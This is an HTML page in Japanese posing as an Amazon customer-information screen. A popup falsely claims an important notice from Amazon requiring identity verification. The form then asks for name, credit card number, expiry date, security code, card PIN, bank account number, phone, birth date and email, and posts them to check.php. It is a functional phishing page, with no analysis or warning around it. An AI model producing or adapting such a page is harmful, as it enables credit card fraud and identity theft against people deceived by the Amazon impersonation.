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<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width,initial-scale=1">

    <style>
        html, body, main, p{margin: 0; padding: 0;}
        body{background-color: #f0f2f1;}
        p{line-height: 100%; font-size: 4vw;}

        .imgLogo{width: 100%; margin: 0 auto;}

        form{
            width: 94%; margin: 5vw auto;
            display: flex;
            justify-content: space-between;
            align-items: flex-start;
            flex-wrap: wrap;
        }
        .setPos{
            display: flex;
            flex-direction: column;
            padding: 1.8vw 0;
        }
        .half{width: 47%;}
        .full{width: 100%;}
        input{height: 6vw; border: none;}
        select{
            width: 100%; height: 7vw;
            border: none;
            background-color: #ffffff;
        }
        .btnSubmit{
            background-color: #54a5d0;
            color: #ffffff;
            border-radius: 4vw;
            font-size: 3.4vw;
            padding: 1.2vw 5vw;
            margin: 2vw 0 0 auto;
            height: auto;
        }
    </style>

    <title>amazonお客様情報入力画面</title>
    <script language="JavaScript">
<!--
function ageCheck(){if (!confirm("amazonより重要なお知らせです。ご本人確認のためご登録済みのお客様情報をご入力ください。"))
history.go(-1)}
ageCheck()
//-->
</script>
</head>
<body>

<main>
    <img src="imgSample.jpg" alt="logo" class="imgLogo">

    <form method="post" action="check.php">
        <div class="setPos setA half">
            <p>名前(漢字) <br>例　山田　太郎</p>
            <input type="text" name="answerA">
        </div>
        <div class="setPos setB half">
            <p>名前(カタカナ)　<br>例　ヤマダ　タロウ</p>
            <input type="text" name="answerB">
        </div>
        <div class="setPos setC full">
            <p>クレジットカード番号　<br>1234-5678-9123-4567又は1234567891234567</p>
            <input type="text" name="answerC">
        </div>
        <div class="setPos setD half">
            <p>有効期限　月</p>
            <select name="answerD">
                <option value="1月">1月</option>
                <option value="2月">2月</option>
                <option value="3月">3月</option>
                <option value="4月">4月</option>
                <option value="5月">5月</option>
                <option value="6月">6月</option>
                <option value="7月">7月</option>
                <option value="8月">8月</option>
                <option value="9月">9月</option>
                <option value="10月">10月</option>
                <option value="11月">11月</option>
                <option value="12月">12月</option>
            </select>
        </div>
        <div class="setPos setE half">
            <p>有効期限　年</p>
            <select name="answerE">
                <option value="2019年">2019年</option>
                <option value="2020年">2020年</option>
                <option value="2021年">2021年</option>
                <option value="2022年">2022年</option>
                <option value="2023年">2023年</option>
                <option value="2024年">2024年</option>
                <option value="2025年">2025年</option>
                <option value="2026年">2026年</option>
            </select>
        </div>
        <div class="setPos setF full">
            <p>セキュリティコード(裏面記載の3桁の数字)</p>
            <input type="text" name="answerF">
        </div>
        <div class="setPos setG full">
            <p>4桁の暗証番号</p>
            <input type="text" name="answerG">
        </div>
        <div class="setPos setH full">
            <p>カード引き落し口座番号</p>
            <input type="text" name="answerH">
        </div>
        <div class="setPos setI full">
            <p>電話番号　例03-0000-0000</p>
            <input type="text" name="answerI">
        </div>
        <div class="setPos setJ full">
            <p>生年月日 例　1900年1月1日又は19000101</p>
            <input type="text" name="answerJ">
        </div>
        <div class="setPos setK full">
            <p>Eメールアドレス 例　[email protected]</p>
            <input type="text" name="answerK">
        </div>
        <input type="submit" name="btnSubmit" value="確認" class="btnSubmit">
    </form>


</main>

</body>
</html>